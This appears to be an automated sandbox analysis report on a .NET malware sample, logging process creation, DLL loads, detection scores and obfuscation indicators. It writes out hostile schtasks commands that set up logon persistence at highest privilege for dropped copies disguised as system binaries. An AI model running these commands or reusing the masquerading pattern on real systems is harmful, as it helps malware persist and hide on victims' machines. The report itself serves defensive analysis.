        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: TodjHkXUZB.exeVirustotal: Detection: 79%
        Source: TodjHkXUZB.exeReversingLabs: Detection: 78%
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile read: C:\Users\user\Desktop\TodjHkXUZB.exeJump to behavior
        Source: unknownProcess created: C:\Users\user\Desktop\TodjHkXUZB.exe "C:\Users\user\Desktop\TodjHkXUZB.exe"
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\ProgramData\Documents\My Pictures\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\user\Searches\TextInputHost.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\nettraceex\dllhost.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        Source: unknownProcess created: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
        Source: unknownProcess created: C:\Windows\System32\nettraceex\dllhost.exe C:\Windows\System32\nettraceex\dllhost.exe
        Source: unknownProcess created: C:\PerfLogs\RuntimeBroker.exe C:\PerfLogs\RuntimeBroker.exe
        Source: unknownProcess created: C:\Users\user\Searches\TextInputHost.exe C:\Users\user\Searches\TextInputHost.exe
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\TodjHkXUZB.exe "C:\Users\user\Desktop\TodjHkXUZB.exe"
        Source: unknownProcess created: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
        Source: unknownProcess created: C:\Windows\System32\nettraceex\dllhost.exe "C:\Windows\System32\nettraceex\dllhost.exe"
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\TodjHkXUZB.exe "C:\Users\user\Desktop\TodjHkXUZB.exe" Jump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: version.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: slc.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: logoncli.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: ntdsapi.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\System32\w32tm.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: version.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rasapi32.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rasman.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rtutils.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: version.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: wldp.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: profapi.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: rasapi32.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: rasman.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: rtutils.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: version.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: mscoree.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: kernel.appcore.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: version.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: uxtheme.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: windows.storage.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: wldp.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: profapi.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: cryptsp.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: rsaenh.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: cryptbase.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeSection loaded: sspicli.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: mscoree.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: kernel.appcore.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: version.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: uxtheme.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: windows.storage.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: wldp.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: profapi.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: cryptsp.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rsaenh.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: cryptbase.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: sspicli.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rasapi32.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rasman.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: rtutils.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: mswsock.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: winhttp.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: ondemandconnroutehelper.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: iphlpapi.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dhcpcsvc6.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dhcpcsvc.dll
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeSection loaded: dnsapi.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: mscoree.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: version.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: uxtheme.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: windows.storage.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: wldp.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: profapi.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: cryptsp.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: rsaenh.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: cryptbase.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: sspicli.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: rasapi32.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: rasman.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: rtutils.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: mswsock.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: winhttp.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: ondemandconnroutehelper.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: dhcpcsvc6.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: dhcpcsvc.dll
        Source: C:\Windows\System32\nettraceex\dllhost.exeSection loaded: dnsapi.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
        Source: TodjHkXUZB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
        Source: TodjHkXUZB.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

        Data Obfuscation

        barindex
        .NET source code contains method to dynamically call methods (often used by packers)
        Source: TodjHkXUZB.exe, Y8gJ4PiPv0ETgVcQrP6.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
        .NET source code contains potential unpacker
        Source: TodjHkXUZB.exe, fSk23RcyoK6DQqsMwu9.cs.Net Code: n4Buu4ch7jh8sHRiA0T System.Reflection.Assembly.Load(byte[])
        Source: TodjHkXUZB.exe, tOCTMnKtpVAlYYQo7dk.cs.Net Code: VWg7JFIu3rl2brBR6ob System.Reflection.Assembly.Load(byte[])
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeCode function: 0_2_00007FFD9B7E5A73 push ecx; retf 0_2_00007FFD9B7E5A76
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeCode function: 0_2_00007FFD9B7E00AD pushad ; iretd 0_2_00007FFD9B7E00C1
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeCode function: 10_2_00007FFD9B7E00AD pushad ; iretd 10_2_00007FFD9B7E00C1
        Source: C:\Windows\System32\nettraceex\dllhost.exeCode function: 11_2_00007FFD9B7F5A73 push ecx; retf 11_2_00007FFD9B7F5A76
        Source: C:\Windows\System32\nettraceex\dllhost.exeCode function: 11_2_00007FFD9B7F00AD pushad ; iretd 11_2_00007FFD9B7F00C1
        Source: C:\PerfLogs\RuntimeBroker.exeCode function: 12_2_00007FFD9B805A73 push ecx; retf 12_2_00007FFD9B805A76
        Source: C:\PerfLogs\RuntimeBroker.exeCode function: 12_2_00007FFD9B8000AD pushad ; iretd 12_2_00007FFD9B8000C1
        Source: C:\Users\user\Searches\TextInputHost.exeCode function: 13_2_00007FFD9B7C5A73 push ecx; retf 13_2_00007FFD9B7C5A76
        Source: C:\Users\user\Searches\TextInputHost.exeCode function: 13_2_00007FFD9B7C00AD pushad ; iretd 13_2_00007FFD9B7C00C1
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeCode function: 14_2_00007FFD9B7E00AD pushad ; iretd 14_2_00007FFD9B7E00C1
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeCode function: 15_2_00007FFD9B945A73 push ecx; retf 15_2_00007FFD9B945A76
        Source: C:\Windows\System32\nettraceex\dllhost.exeCode function: 19_2_00007FFD9BAAC7E9 pushfd ; iretd 19_2_00007FFD9BAAC7F2
        Source: TodjHkXUZB.exe, uRog7Twff55HNZNgLjc.csHigh entropy of concatenated method names: 'gFW6mYAIkddv3CuRylh', 'uvmKCJAHgI1aKvWVm8W', 'i2phAnAvZV6vyU9fHYs', 'fALpgwA5UmdwEAUw5OO', 'M7whujApuZugBhP5md9', 'SusGMSA8ySPbPkMUWRN', 'TFqDUDAESZyQNkF5cAP', 'QZT8IaA4sMk944FCykC', 'TKyS8pAkO1RMslpjC30', 'sd3VZYASB1aqZ0MxIFx'
        Source: TodjHkXUZB.exe, qVbeBrcFeAs9HlRaDaQ.csHigh entropy of concatenated method names: 'N1XjKRGysWARYFYa7Fc', 'xYC8FfGg0HEQPGcM4m0', 'tTeHqvGz9D7A5evAoUb', 'IZKsZJinPrnML8uG0Ee', 'lKvJm2ioixfmMwXqtUu', 'iYOOJwGNRp9bQR7e2oN', 'kDNkg5GbYe6Hoj9XJA6'
        Source: TodjHkXUZB.exe, ebWEeMlDF1pOKRd7LfU.csHigh entropy of concatenated method names: '_33jD', '_3X86', 'x8V4', 'F9ze', 'uW9gzRS6fc', 'V5Rt', 'i0g6Xn8FcP', 'wOO64qA4Np', '_2pQ4', '_9G86'
        Source: TodjHkXUZB.exe, UeTTTcl4GA9HZsJEuNO.csHigh entropy of concatenated method names: 'Owukyh4j2i', 'lmektwR93P', 'Y5rkp0l1W8', 'r0Zkvw9IqY', 'VqKk3Yq3Me', 'Og3kde8Q3b', 'xcCkgjTVtl', 'zFbk69jr6c', 'sVik8VDNw0', 'sJckkj3gGd'
